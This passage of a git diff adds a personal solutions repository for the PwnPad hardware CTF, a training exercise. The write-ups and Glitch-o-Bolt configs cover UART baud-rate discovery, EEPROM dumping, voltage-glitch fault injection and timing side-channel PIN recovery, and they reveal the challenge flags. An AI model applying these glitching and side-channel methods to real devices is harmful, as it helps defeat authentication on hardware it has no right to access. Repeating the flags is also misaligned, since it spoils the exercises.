+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
